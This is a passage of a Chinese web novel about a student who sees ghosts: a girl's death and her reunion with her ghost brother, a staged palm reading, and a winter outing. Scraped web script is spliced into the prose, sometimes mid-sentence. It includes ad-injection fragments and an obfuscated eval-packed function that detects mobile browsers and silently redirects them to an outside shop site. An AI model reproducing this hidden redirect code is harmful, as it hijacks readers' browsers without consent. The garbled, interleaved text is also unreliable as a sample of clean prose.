继母是看见了温令羽上楼，却迟迟没见他下来，便以倒水的由头上来看看他们父子两到底在聊什么。 结果就是温父坐在旁边沙发上看文件，自己的办公位置让给了温令羽。 继母把水杯递给温父，“阿羽还在这里，我去给他也倒一杯。” “别忙活了，他等下就要走了。”温父注意力全在手上的项目上，头都没抬起来。 温令羽附和道：“我已经看完了，先走了。” “我想请两天的假，学校那边有个活动。”温令羽依旧打算亲自去看一看，这个假必须要请假出来。 以学校的活动为理由，是温父无法拒绝的。 然后温令羽就在两人的目光注视下，从书房出去，继母还追了上来亲自要把温令羽送出门。 “阿羽，下次早点过来一起吃晚饭。”继母客气地邀请道。 礼尚往来拉近距离，温令羽环顾了家里一周，都没有看到温昕的身影。 平时知道温令羽来家里，温昕哪怕在写作业也会露个面，这一次虽然他来得突然，但这个时间点确实是温昕下课时间。 初中的记忆已经在温令羽脑海中很久远，但整个市的中学放学时间大差不差。 温令羽问道：“小昕不在吗？怎么没有见她。” “她去补课老师家里了，等会下课我会去接她的。”继母说到温昕很头疼，显然是对温昕的学业情况烦恼。 这话给温令羽整语塞了，对温昕的教育是继母最为上心的事情，温令羽知道继母的性格，他要是多说几句发表几句看法。 继母绝对会走心。 温令羽只能装傻打哈哈，然后自己抓紧步伐赶到了地下停车场。 等真正上了自己的车后，才是松了一口气。 车子停在自己家楼下，阿辛站在自己家车位旁边，看到温令羽开车过来，问温老的情况，“怎么样？什么时候出发？” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明天早上，我票买好了。”温令羽来的路上已经买好了，在阿辛说话之前抢先截住了他的话，“你就和晋叔一起，我自己会去。” 阿辛张了张嘴，还是没坚持要去。 “对了，温芷欣和周蔓说开了。温芷欣托周蔓转告你一句感谢。”阿辛先回到了温令羽的家，在那看到了周蔓留的纸条，就塞在门缝里。 温令羽有些担心周蔓的状态，“周蔓你见到了吗？她还好吗？” “周蔓我没有见到她，但我听其他看到的说周蔓去外地上高中了，而且看上去心情不错，温芷欣带她走出来了。”阿辛为周蔓高兴。 温令羽脑子里想到了辉辉，温芷欣不在，那辉辉现在处在何地，不会又像以前那样流浪。 听到辉辉的名字，阿辛想起来了，他反问温令羽：“你没有见到吗？我听到他们说辉辉去鬼小馆了？” 鬼小馆会主动派出一批人，专门去找无处可去的鬼魂，给他们寻找安身立命之地，这是鬼小馆职责所在。 温令羽近期没管事，温家县的鬼魂都知道辉辉和温令羽认识，把辉辉带过来也一定会和温令羽说一声，但这段时间温令羽都没有听说过。 温令羽摇了摇头，肯定地说道：“我没有见过辉辉，我去查一下档案。” 说着，温令羽调转车头方向，着急地赶到鬼小馆，晋叔听说这事也帮忙一起查。 证实了辉辉没来过鬼小馆的事实。 “他一个什么都不懂的小孩能去哪里呢？”阿辛担心地说道。 晋叔想到了什么，他激动地拉住阿辛的手，“我见过那个小孩，就在分馆。” 竟然是被分馆带走了，怪不得能打着鬼小馆的旗号，温令羽相信晋叔，这下也可以松一口气。 隔天一大早，温令羽赶最早的一班车回了老家，卡着点坐班车到自己家，不用沦落到又在车站旁住一晚的酒店。 距离上次大叔父出事来过，整个村子里是大变样，所有的路都是新建造的，连沿路的店铺都重新做了装修，契合了整个村子的风格。 温令羽顺着记忆往祠堂走去，路上遇到不少见过几面的鬼魂在晒太阳，不过不认识因此也说不上几句话，要是宋时盛能看见，绝对和谁都说得上话。 里面确实没有温老的画像了，只有看见温老来过这里，却没有看到温老是何时走的，怎么走的。 但整个村子找了个遍都没有温老的身影。 难不成真如预料的那样，因为画像被烧毁，才导致了温老的不告而别。 只不过一切都不符合逻辑。 温令羽不敢相信，他便去问那堆画像的残渣，负责打扫祠堂的人见过那场面，说道：“他烧的时候很害怕遭到报应，就在祠堂后面的杂草地里，扔了一把火就走了。” 祠堂后面的杂草地连接的是村子的后山，没事没人会上去。 通向后山的路以前是四通八达，哪个地方都能去，现在祠堂重修过后，将那段路给封了，要去的话得从其他人家里绕过去。 68.计算人心 太阳马上落山了，温令羽的时间紧迫，可等不到第二天一早了，尽管传言都在说是大晚上的后山很吓人，但是他一个能看见鬼魂的，已经不害怕这些了。 心一狠，一鼓作气就要去敲门，隔壁邻居家可以通到后山。 这么有胆量的事情，换成其他社恐的还真不一定能做到，心理建设都得搞半天。 温令羽也是在宋时盛这位社交达人的熏陶下，勇气增添了不少，都敢直接去找不熟悉的邻居了。 温家县说是一个姓，但大家关系好也是以前的事。 自从大部分人选择外出打工，四散各地之后渐渐生疏起来，没事的时候都说不上几句话，最多就是长时间不见寒暄几句。 温令羽刚抬起手，手机就响了。 于安早就离开了项目组，会在温父的办公室遇到，但都说不上话。 突然打来电话，温令羽愣了几分钟，久到电话都挂了。 电话界面关闭了，跳转到了锁屏。 温令羽将手机关掉，心想：说不定是按到了，真有事会再打来的。 如此想着，于安又打了个电话过来。 “你有钱吗？你在医院有认识的医生吗？”于安强装镇定，但周围吵闹的声音还是透过话筒传到了温令羽耳朵里。 温令羽心里有一种不好的预感，说道：“你现在在医院？是谁出事情了？” “我妹妹，她现在病情很严重，我已经没有钱了。” 妹妹。 于苑出事了。 温令羽不敢等，直接转身就要去村口，他现在要赶最晚一趟车回去。 去县里的班次没有了，好在遇到了要赶回县里的邻居，可以搭上他的便车去火车站。 晚上只有火车运行，在火车站等到凌晨一点钟。 由于买的硬座，一路上都睡得不安稳，一下火车直奔医院。 “现在是什么情况？”又一次站在重症监护的门口，似曾相识的景象浮现在脑海里。 温令羽现在的人脉都是温父给予的，他也不能保证能找到该病症的专家，或是能治愈的办法。 “钱的话，我可以借你。”在钱的方面，温令羽可以给一点帮助。 于安拼到现在，说不上光鲜亮丽的生活，但可以保证让于苑能上市里最好的中学。 升学是要把房子户籍作为基本标准的。 于安什么话都说不出来，只能拼命点头，眼睛一眨不眨地盯着重症监护的门口。 温令羽见状给温父打了电话，对方一听说他和于安两个都不上班全在医院，直接发了火，“你到底怎么想的？于安现在不是你的助理了，她有事会来找我的。” “这不是重点，现在人命关天，我记得阿姨她和有位主任认识。” “是她的同学。电话你也有，你自己问一个。” 温父在医学领域没有认识的人，温令羽也不强求，转头给继母打了个电话。 毕竟是第一次求到她头上，继母没有拒绝，可也不能保证能治好这个病。 温令羽将继母的话转述给于安，“我找了人，说可以先看看于苑的病情，但具体情况不好说。” “我知道，谢谢。”于安语气里都是感激。 于苑出事，温令羽肯定要和于先生说一下，于苑的生命也关乎于先生。 温令羽看了看手表，时间还早，阿辛应该还在家里没有去鬼小馆。 他也需要回家一趟放行李。 温令羽和阿辛说了严重性，但阿辛对路况很陌生，不是最佳人选：“你让晋叔去通知于先生回来一趟，凭你自己可能会走错路。” 阿辛点了点头，认可了温令羽的建议。 本以为要几天的时间，谁知道于先生当天晚上就到了医院。 一来就问于苑的情况，不过他像是一点都不担心，“医生怎么说？” “还在观察期，但是不容乐观。”温令羽实话实说。 于先生表情没什么变化，“差不多时间，我当时也是这样的，不过没于苑这么严重。” “那你是有认识的医生吗？”温令羽精准地抓住了话里头的重点，于先生肯定有减缓的办法。 或许这是唯一的办法了。 就在于先生开口的瞬间，重症监护有医生出来，同时又有很多医生进去。 整个门口变得杂乱起来。 于安像是感受到了什么，她跑到门口拉住一名护士，“是于苑吗？现在出事的是谁？” “我们会尽力的。”护士说完进去忙自己的工作。 温令羽不记得时间到底溜过去多久，只记得于苑被拉出来时，门口显示的时间点——21点56，身边一切都安静了下来。 其实是自己听不见了。 生命就此消失。 温令羽陪于安去处理于苑的后续，于先生还站在原地，半步都没挪一秒。 “你还好吗？”温令羽非常担心于先生的状态。 在于苑死后，于先生就再也没法离开世界，除非等到于苑的下一辈子。 可是没有出现在记忆中的人，怎么可能会产生羁绊。 这是一道解不开的题目。 于先生确实没有难过，他像是在等待什么。 温令羽还在疑惑中，上天非常眷顾他，疑惑都没几分钟就给解开了，绝不把温令羽当傻子。 于苑的灵魂从重症监护出来，她一眼就看到了在门口等待的于先生。 “哥。” “小苑” 于先生一把抱住了于苑，他的一颗心终于是落到了实处。 他等待的时间越长，心里越是慌张。 不过好在结果是好的。 温令羽原本是不想瞎想的，但是这种场景却让温令羽不得不多想，不过他也做不到现在去打破温馨的团聚氛围，什么话都能再说。 直到于苑去和于安相见，于先生压根不想隐瞒自己。 甚至还要和温令羽谈个条件，“温老板，不要把我的祈愿任务告诉于苑，什么都不要说。” “你早就知道了？”温令羽不想怀疑任何人，势必要问清楚。 于先生深知此处不是个谈事情的好地方，他带着温令羽去了处很少人经过的地方。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “与其说我提早知道，不如说我自己会算人心。”于先生坦白地说道，“我一开始就知道我家那群亲戚自私又愚蠢，会抢小苑的家产而且也经营不好。所以我猜到了于苑会被送到福利院。” 不得不佩服于先生，难怪当人时事业好，当鬼也不落下风。 有如此强地把握人心能力，成功简直就是可见到的前方。 于先生继续地说：“小苑的病我清楚，当时给我看病那位医生已经做不到治病，其他人我不相信。而且于安我自从知道她改名字的时候，我就知道于苑早晚有天会回到我身边。” 于安连名字都是为了于苑，能够有这么强的联系，确实极大可能会有回来的机会。 “要是，于苑想走呢？”温令羽问道。 于先生想留下来，但是于苑的想法谁都不知道。 于先生释怀地笑笑：“她的决定我不会干涉，我只是想好好弥补她。” 在这个没有病痛的时候。 于家兄妹的情况，突然让温令羽想到了葛家小宝和葛大哥，他们的后果就硬生生摆在眼前，温令羽有些担心，“葛小宝你认识吗？他的情况……” “我知道。我在赌，于苑和葛小宝不一样。葛小宝是被他爸蒙在鼓里，见过面却不自知，卡bug的惩罚。”于先生认真在区分两者的不同，“我是自己放弃的。” 温令羽明白了，他答应于先生不会对关键人于苑说。 在这一刻，于先生要开分馆以及这么拼的理由就显现出来了。 无非就是离交流所远一点，少一些见面的机会也少一点风险，甚至把分馆的地盘都设在自己家里，是早早就做了准备的， “你是真的会算。” “这是对我的夸奖。” 温令羽从医院离开去了温家，帮于苑找医生的事情还是要感谢继母，虽然结果没变化，但帮了忙是要有表示的。 继母仅仅是打了通电话，面对上门感谢，“我也没帮上什么，这礼物就不用了。” 逢年过节都是象征性地送一份。 头一回这么认真，继母有些受宠若惊。 温令羽想过继母会不收，所以来之前他给温昕多带了一份，说道：“还有一份是给小昕的，亲子一套。平时给小昕买的东西不多，希望能收下。” 话能说到这份上，继母也没有了拒绝的理由，“那我就收下了。留下来吃饭吧，小昕很想你。” 等到了吃饭的时候，温父没在。 温昕见到温令羽很高兴，不断地吐槽现在的课多，“哥，你以前也有这么多课吗？” “当然了，哥哥以前也是各种课加一起。”温令羽初中时也是被爷爷奶奶逼着上课，不过他时不时逃课。 温昕这下心里平衡了，吃饭都能多吃几碗。 继母看到温昕吃得开心，说道：“你来了，小昕都多吃了好多，以后要经常回家来。” 温昕却是一点不给继母台阶，“妈妈你还说。上次哥哥来，你骗我，还把我锁在房间写作业。” 此话一出，继母的脸色都变得不好了，嘴角抽抽，对温令羽笑了笑。 69.手相算命 气氛僵持在这里，“罪魁祸首”却是一点没感觉到，反而是全场吃得最香的，筷子就没停过。 相反，处在暴风点中心的温令羽，要是不能处理好这些，让继母进心里去了，好不容易打破的隔阂又要重新建立起来。 温令羽解释道：“那天哥哥来是有工作要忙，所以没有时间。” 台阶建好了，继母也没有理由不下，说道：“哥哥现在有工作特别忙，所以小昕要好好学习，提高能力，以后好帮哥哥的忙。” 这些话温昕听太多遍了，耳朵都快起茧子，所以她快速再扒拉几口饭，直接回了自己房间去写作业。 温令羽也就没多待，开车回了自己家。 吃完晚饭后回去，时间很晚了，开门的时候都做好阿辛已经睡了的准备。 房间里的灯没有打开，夜晚的光线依靠窗户透进来，借这些光，看清阿辛就坐在沙发上等温令羽。 平时只要温老在，总会有电视机的声音响起。 有时他回家总会恍惚片刻，温老和阿辛好像不再是虚幻的，和真实的人一般无二，同样温暖，同样是自己的家人。 温令羽说道：“阿辛，你还没有休息？” “出了这么多的事情，你不回来我睡不着。”阿辛眼神担忧地看向温令羽。 温老失踪消失，于苑情况又不好，事情是一茬接着一茬。 温令羽将医院的情况说了，如此重的心思，每一个决策都要拐个弯，最后竟是谁也没发现，让于先生一步一步地做下来了。 阿辛十分震惊，他活这么大还真没遇到过这类情况，头一回去看整个世界。 “你信不信，晋叔是从半路遇到于先生的。”温令羽无比相信于先生的脑子，绝对是能算到这个份上。 阿辛没问晋叔，但可见晋叔能一天往返来回，可能是如温令羽所说，夸奖道：“你也很聪明。” 温令羽笑了，“你是夸我还是骂我？” 经过一晚上的休整，温令羽总算把前几天耗光的精神气补充回来了，第二天神清气爽地去上班。 果然在睡饱喝足了之后，连平时讨厌的上班都有了活力。 温父派来的第二任助理住的是员工公寓，离公司很近，就不负责司机的工作。 温令羽现在自己开车十分得心应手，在他们的小团体里，驾驶水平比最厉害的宋时盛还要高，开得不快胜在稳。 一到办公室，同在项目组的同事一个个给他使眼色，这么一路走过来，给温令羽都整心慌了。 开始怀疑自己最近有没有什么事做错了。 于安站在办公室门口，手上还抱着她的所有东西，像是她走那天的样子。 温令羽见状说道：“你这是要回项目组了？” 于安点点头，不过她又很担心温令羽会不同意，毕竟决定权还是在对方手上，“我可以自愿加班的，现在项目组缺人。” “于苑的事情，你可以休息几天。”温令羽狠不下心让失去亲人的于安无缝衔接开始工作。 于安摇了摇头，她现在只剩下了工作。 温令羽还是同意了她的进组申请，但是他还有一个问题，“你当时回总处是为了钱吗？明明两个工作差不多，甚至在项目组你还有分红。” 话音刚落，于安内心挣扎了一会儿，说道：“我一直在查于苑的家人，想问问他们有没有认识的人可以治好这个遗传病。结果非常失望，他们压根不认于苑，甚至怕于苑来问他们要钱。” 温令羽已经从于先生嘴里知道了于家亲戚的情况，对这些事情并不陌生，能想到这类情况，不算特别糟糕。 于安停顿了一会儿，试图让自己的激烈情绪平复下来，才可以缓缓说完：“上一次于苑的体检情况不好，要是之后急救少不了用钱，我等不及项目的分红。” “所以你现在回来，是想回报我帮你找医生借你钱的事。” “应该说是为了还钱，我已经没钱了。” 温令羽还是得把话说在前头，毕竟他现在不是老总派下来的，而是自己“流落”下来，“你来之后的待遇不会比之前好，你明白？” 之前的于安算是项目的第二负责人，几乎有决策的权利。 于安有这个预料，接受度很高。 她投入工作很快，到了中午下班点就已经跟上进度。 不过是用一顿午饭换来的。 但在老板看来，员工工作效率高非常好。 “阿羽，我收到老先生的信了。”阿辛还没见到温令羽，在办公室门口就开始喊。 温令羽在楼下见到了阿辛，好在是中午休息，大家都不在。 “你就趁着别人都看不见，听不见。” “你快看，刚刚有位送到家里来的。” 阿辛带着温老留下的，为了怕认错特地看过字迹，就是温老的无疑。 信上写着他去远方，让他们不要担心。 画像被烧毁对他没有影响。 温令羽没见到温老，总有些不放心，“温老是不是被威胁了？没见到他我很担心。” “上面还说让你多去鬼小馆管事，别老是当甩手掌柜。之后要有什么事，去龙青山找那位大师。”阿辛继续转述信上的内容，还不让佩服，“温老隔我们这个大老远的，还能猜到你不管事。” 温令羽觉得前面的关心白瞎了，他现在恨不得有三头六臂，可以分出三个分身来。 一个学校，一个公司，一个鬼小馆。 一天就二十四小时，对每个人都公平，谁都不能平白无故多出来。 温令羽仰头望着天空，发自内心的疑惑道：“我还是一个学生，为什么要把这么重要的任务发落在我身上。” 让他繁忙的生活又多了烦恼。 阿辛安抚地拍拍温令羽的肩膀，“我们都在呢，不需要有这么大的压力。” “知道。那温老有没有说他什么时候回来？”温令羽问。 不过那封信上，没有说归期。 在宋氏的项目顺利结束，温令羽暂时放下了工作的事情，全身心投入到学校考核当中，时间凑得非常巧项目结束立马衔接期末考试。 兼顾期末考试的同时，还要负责处 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 理交流所的事。 多亏了这段时间的工作体验，也多亏了积攒的人脉，让温令羽能更好的完成祈愿任务。 果然只有自己手里有东西，办事才能更方便。 交流所选择的下一任对象，竟然是自己同学的妈妈，同学也是熟人，前一个暑假一同在宋时盛的公司工作。 温令羽坐在复习教室里，烦恼到底找什么样的理由去找。 “小温，要是为难的话，过几天考完试再说。” “没事的阿姨，我想想办法去见。” 期末周学校没有安排课程，让学生自主复习，不住校的温令羽根本找不到途径去找人，只能来复习教室碰运气。 非常不凑巧，他们班的人不约而同选择在寝室里复习，整个教室都是其他专业的陌生面孔。 温令羽想了想，以探望同事的理由赶到了宋时盛的公司，突然的拜访谁都没说。 宋时盛听前台说了这消息，惊讶地说：“什么风把你吹来了？” “这么久没见了，我来看看曾经一起并肩作战过的‘战友’，听说你是一个也没辞。”温令羽还在拿宋时盛之前的传闻说笑。 宋时盛没好气地解释道：“这能怪我吗？我这么明事理的人，不是随随便便裁人的。” 说着，带温令羽去他之前的工位。 不过此时已经有新人接替了他的位置，而且还围了一大圈人，叽叽喳喳不知道在聊什么。 温令羽和宋时盛一起凑上去看，竟然是在用塔罗牌看运势。 温令羽突然间来了点子，一说话把所有人的注意力吸引过来，“我会算命，能看手相，比这个厉害。” 众人朝声源处看过去，竟然是主动辞职的温令羽来看他们，还说他会算命。 一时间都来了兴趣，纷纷都要温令羽帮他看。 都这么说了，温令羽肯定要露一手，干脆利落找了邻座空位坐下，叫住了那位当事同学，偷摸给阿姨使了个眼色好给他作弊，“我们两个是同学，先来算算你的。” 对方一下子成了焦点中心，不太适应，“我不行，先给别人看吧。” 温令羽就是冲他来的，哪能这么到手的人跑掉，脑子快速地转动想把人留下来。 周围人也想看看事情是不是真实的，见温令羽都选择好了人，有人能当第一个，其他人对此也看得高兴，一个个都起哄让对方不要推辞。 “没事的，就看一看。” “先看看真不真？我都没听令羽说过他还有这项技能。” “我也没有听说过，这个可难了，天桥下算命的都要五十、一百的。” “对对对，反正不要钱。” 对方被赶鸭子上架做到了温令羽的对面，温令羽看出来对方局促又紧张，让他伸左手还出错了，惹得周围人都在笑。 他也越来越不自在。 温令羽可不想把人逼急眼了，还是决定把人赶出去，“这事是隐私，我得和人家单独说。你们都出去吧。” “这么神秘？看都不让看？”没能看到好戏上演，立马就有人不满意了。 70.还有不舍 “好吧，那算完之后要和我们说真不真，我也想试试。” “我也是，免费的不要白不要。” 办公室的人依依不舍地走出去，却又没走完，趴在门口在偷听，偏偏一个个把动静搞得很大，生怕里面不知道外面有很多在。 不过这种距离，听不见他们在说话。 温令羽将视线收了回来，重新询问他的意见，“现在可以了吗？你可以相信我的眼力。” 对方此刻也是被架在上面，他只能伸手让温令羽看，等待的时间越长，心里一下子变得忐忑起来，担心在温令羽的口中会说出些什么来。 玄学这东西，难说得很。 温令羽选择循序渐进，看似在观察手相，余光却是在阿姨身上，故作高深地说道：“你的生日在农历八月，我没猜错的话应该是个团圆的好日子。” 对方一听真给温令羽说对了，瞬间抬头，但又很快放松下来，生日这东西都不需要费多少心思，随便找熟人朋友问问就可以知道了。 温令羽也知道单单说这一个方面没用，于是他又讲了些以前的事。 几个回合下来，对方饶是再不信也不能不惊讶，一直盯着自己的手没动，“这真的能看出来？” “那肯定。其实还有一件事我看出来了，但我一直纠结说还是不说。”铺垫这么久，温令羽打算收网了。 “我们是朋友，你可不能瞒着我。”对方已经完全信任温令羽，又是关乎自己的事，巴不得全都知道。 温令羽深呼吸一口气，他自己走出这一步都很艰难，说道：“我能看到你母亲一直陪伴在你周围。” 话里话外都透露着荒谬两个字。 对方满脸不信，摆摆手就想要站起来走掉。 温令羽伸手拦住了对方的去路，靠近他的耳边说道：“我听到她在说，你逃出医院的那个晚上她看见了。” 两人这么大的动作，外面等待的人一下子全冲了进来。 “发生什么事了？怎么打起来了？” “温令羽给你算得准不准？” 一群人你一言我一语地问，本来想问温令羽的也失去了最好的时机，只能找了个借口离开。 温令羽十分清楚自己几斤几两，看相算命全是他胡诌的，趁着其他人都没来拉他，浑水摸鱼地离开了宋时盛的公司。 结果被宋时盛在公司门口逮住了，“要说你去你爸公司帮忙，项目进展之后你就没有去参加过任何应酬，但要找你，你家却没一个人。” 宋时盛竟然还来过他家？ 温令羽想着，他没预料到宋时盛会发现，支支吾吾半天说不出来话。 宋时盛结合温令羽今天说的话，非常担心温令羽会不会进入某些不知名非法组织，学习这些歪门左道的东西，好心劝他：“现在是相信科学的，你可千万别被忽悠了。” 温令羽不能和宋时盛说，因为说了也没人会相信，只能一再保证自己绝对不会去干这些事。 阿姨失魂落魄地跟在温令羽的后面出来，她是看到了全程，也发现了自己儿子的痛苦。 那个晚上成为了母子两的噩梦。 温令羽安慰道：“阿姨，过不了几天他就会来找我们的，事情很快就能告一段落。” “我知道。阿姨能不能请求你，要是他没来找你，那就再等一段时间。”温令羽已经完全上手了“身为桥梁”的工作，效率进度都是很快的。 温令羽知道阿姨的用意，是想给对方一点心理准备的时间，可任务本身就是给两者解脱。 他只想得到母亲的宽恕。 面对升学压力加上重病住院的母亲，他在学校和医院两点一线，时间长了，他开始故意延长在学校的时间，甚至用作业的理由与父亲推脱。 就在一个十分平常的傍晚，父亲送完晚饭后就和他换班，可他到得晚看见母亲拉在了身上，事情是正常的事，他却临到门口就跑了，没几天母亲病情严重就离开了人世。 温令羽最终还是答应下来，自从认识了于先生，他算是搞清楚——任务不是负担，是机会。 有机会回来重新见到心心念念的人。 回到了鬼小馆，晋叔在翻他整理的小本子，边说边要在某一页上面划圈，“任务结束了，那我划掉了。” “没有。她还没想走，再等一段时间吧。”温令羽说着，视线在墙壁上不断找寻下一个目标。 晋叔放下手中的东西，对温令羽的冷静刮目相看，在巨大吸引力面前能克制自己，不容易。 “你和我跟过的几个老板都不一样，看到好处了他们可巴不得越快越好。” 温令羽笑笑不说话，他是听到阿辛说温老又寄来了信，特意过来等阿辛一块儿看信。 突然，交流所门口一声重物落地的声音，紧接着就是大堆鬼魂搬东西的声音。 温令羽朝那边看过去，阿辛就站那维持秩序，顺便分发每个人的生活物品。 晋叔解释道：“阿辛把空的房间整理出来了，现在这一批是新居住的，之后会进行登记。” 连温令羽自己都意味要等好几天，结果当晚就来了电话，说要和温令羽谈一谈。 阿姨虽然不舍，但看见儿子有担当地承认，她是发自内心的高兴，一度盖过了离别的情绪。 在温令羽的连胜战绩下，还有交流所成员的推波助澜，店铺生意也越来越火爆，依旧有很多祈愿任务过于困难，但不影响其他的进行。 阿辛眼看着自己的朋友一个个离开，心情十分落寞，便向温令羽请了假，“阿羽，我想回家了，回去看看也好。” 阿辛的父母唯一的祈愿就是见到自己儿子一面。 这个任务并不唯一，好多都是这样。 温令羽知道阿辛是心情不好，但要阿辛就这么孤零零走，等自己恢复。 过程太辛苦了。 于是，温令羽提议一块出去玩，“在此之前，我们去冬游看雪吧。” “冬游？我只听说过春游。”阿辛不想毁了温令羽的游玩兴致，自己不高兴不能连累别人，“我不想去。” 温令羽可不管，第二天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930426|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾好东西出发。 把阿辛从睡眠中拉起来，一个劲地推荐道：“我听说梧院公园的湖没结冰，湖上围炉煮茶特别舒服。” 阿辛拧不过就这么被拖上了车。 梧院公园开车要两个小时，几乎是刚看到导航的预测时间，就想走，“这么远没必要去。” 温令羽自顾自发动车子，“今天你就跟着去就行，绝对不会让你失望的。” “我挺好的，你不用特意为了我跑一趟。”阿辛能看出来温令羽的关心，可他最近的丧脾气不过是自己想不通，每次遇到认识的朋友离开都会有这么一遭。 温令羽故作深沉地说：“你到了就知道，别有这么多负担。” 车子行驶到了目的地，门口就摆了好多摊子，是酒保带领一帮人开的。 酒保看温令羽到了，跟他汇报情况，“都差不多了，今天公园还有活动，你可以领阿辛去看看。” 温令羽带着阿辛参观公园。 在一条道上，一头是公园内商家举办的活动，另一头则是鬼小馆经营的。 不管是人还是鬼，都能够被兼顾到。 温令羽解释道：“平时都是鬼小馆内的活动，所以这一次把它放在户外，所以只能把鬼小馆的人员住宿交给你，最近辛苦你了。既然你要回去休息，那我准假。” “其实我不是因为……” 阿辛想说，被温令羽打断了，“我知道。今天假期第一天放松自己。” 因为这一句话，温令羽和阿辛在公园里转了一整天。 阿辛在公园的热闹氛围里逐渐放松了心情，便准备吃完晚饭后就各自回去休息。 湖边有不少沿湖画家在画画，他们的成品画像画得惟妙惟肖。 阿辛看着看着，不自觉停住了脚步，看画像逐渐形成。 温令羽发现的时候，阿辛已经落后在了很后面，他一路走回来不少摊位还空着。 阿辛站在一位正在画的后面。 温令羽询问了其他空闲的摊位，想问问能不能画：“我想问问依照描述可以画出来吗？我的朋友不在身边。” 这种话术听得多了。 摊主遇到过几次，有需求的大多是因为都是来不了现场的人，对此他表示理解，“可以的，但是画得有可能不像。” 光凭描述可保证不了。 摊主不会自己砸自己的招牌。 温令羽表示理解，他照着阿辛的样子给他描述，摊主不断地询问细节，温令羽一一答上来。 这个操作把摊主都震惊了，“有照片吗？看你描述得这么准确。” 温令羽闻言心里暗自地想：就站在自己面前，照着答案回问题当然正确。 “就是因为没有照片才想画出来，留个纪念。”温令羽说道。 原本还没有信心能画好，动第一笔时还在懊恼自己冲动，但现在自信心大增，准备大干一场。 “你放心，我一定把这幅画给你画好。” 阿辛一直沉浸在画中，等结束了，身边哪还有温令羽的身影。 71.先斩后奏 温令羽眼睁睁看着阿辛从步行道上走过去了，根本没往所在的温令羽方向看，而且越走越快，即将要走出这一片区域。 偏偏这时温令羽还不能叫他的名字。 因为那个地方只有阿辛在，连个人影都没有。 温令羽只能走过去用身影拦住他，阿辛不用顾忌什么，问道：“你去哪里了？我一走神就没看到你了。” 这时，摊主画好了阿辛的画像，正在到处找温令羽。 “你的画好了，看一看是不是你记忆中的样子。”摊主献宝似的捧起手中的画。 温令羽没有艺术细胞，特别是看素描画，对照着原物也分辨不出来，但看对方递过来的作品，对上阿辛的面孔，还真的能认出来。 阿辛好奇地凑上来看，竟是他自己的画像。 “你请人画的？和我像不像？”死了这么多年，阿辛忘记了自己现在的样子，单纯依靠自己脸上的标志物眼头痣认出来了，不过并不能确定。 温令羽点点头，肯定地答复：“非常像。” 阿辛的脚步都轻快起来，非常高兴，一个劲和温令羽商量要把画放在哪里，“放家里吧，这样我起来也能见到。要不然放在店铺里，我一天到晚都待在那里。” 对于这些决定，温令羽想让阿辛自己抉择，他都支持。 “或者说，我把它寄给我爸妈。”这个念头一出现，阿辛下一秒就否定了， “不行，他们看到了会伤心的，好不容易才走出来。” 与死前一模一样，作为父母是肯定能认出他们的孩子。 最终，阿辛把画放在了自己家里，原本要走的决定暂时搁置了下来，甚至很长时间都没有说要回家。 直到春节前夕，温令羽要收拾东西回温家，家里没有人了，阿辛才重新提了这件事。 说起上一次，距离在温家过年，都已经是很久远的事情了，温令羽的记忆中关于这一段变得模糊不清。 回家是温父在放假前临时通知的，把温令羽叫到办公室让他搬回去，说要一家人好好在一起过一个团圆年。 “今年不用外出吗？”温令羽疑惑不解，以往这时候温父都会带着继母温昕回去，每一个年都是在那过的，无一例外。 于是温令羽独自待在家，然后等几天再去令美珑那里，每一年就是这么过来的。 温父连头都没抬，他只是负责通知这个事，没有给温令羽拒绝的选项，“今年要去宋家拜访，不回去了。记得准备一下礼物。” 温令羽搬回家里后，阿辛也回了自己家。 假期的第一天，温令羽就被温昕叫起来，要送她去上补习班。 温令羽眼都睁不开，说道：“你爸呢？让他们送你去。” “他们说让你送我去，快点起床！”温昕走到门边要把温令羽房间的空调关掉，打开了房间门，冷风可以使人清醒。 温令羽确实如她所料，门正对他的床，风直往他的被窝里钻，冻得他睡不着。 洗漱好下楼，继母手里拿着车钥匙，倚靠在门上。 温昕背她的包，站在温令羽的背后，想让温令羽送的意思很明显。 温令羽这下是发现了，刚才是他被忽悠了。 “别闹了，你哥哥好不容易放一次假期，我们走吧。”继母不惯着温昕，用歉意的语气继续说道，“小昕不懂事，我自己送就好。” 没想到温昕却很坚持，丝毫不让步，就是要让温令羽送。 都到这份上，温令羽当然能看出来温昕是故意的，他站前一步主动地要求：“阿姨，我送过去，刚好我也要出门。” “这样的话也好，那我在家等你们回来吃饭。” 继母不会在这些上面去驳温令羽的面子。 温令羽开车出去，问温昕：“说吧，这么突然要把我叫上。” “今天机构会来一位老师，我不想分到他的班。”温昕认识了很多朋友，不想离开自己的班。 温令羽一脚急刹，将车停靠在路边，认真地对温昕说：“早晚有一天阿姨会知道的，你照样会转班的。你可以和阿姨好好商量。” 温昕摇摇头，抗拒和继母交流。 在这件事上面，温令羽没有话语权，把温昕送到机构门口，看她进去后才开车离开。 温令羽在街上漫无目的行驶着，他说了办事出来就不好再回去，但他又没有其他的安排，逛着逛着开到了阿辛的家。 阿辛和温老两个一同坐在小区的长椅上，双双低头沉思。 没想到温老没回去，一来就去找阿辛。 温令羽在另一侧坐下来，“你们怎么碰到的？” “阿羽，你可以回去把那幅画拿来吗？我刚和老先生说到。”阿辛嘴角带笑和温令羽说话，但是他的眼睛不敢看他，一直偏着头。 温令羽调侃道：“又炫耀上了？” 阿辛可是把这画在鬼小馆里宣传了一圈，让所有的都知道。 阿辛点了点头，催促温令羽让他快点去拿。 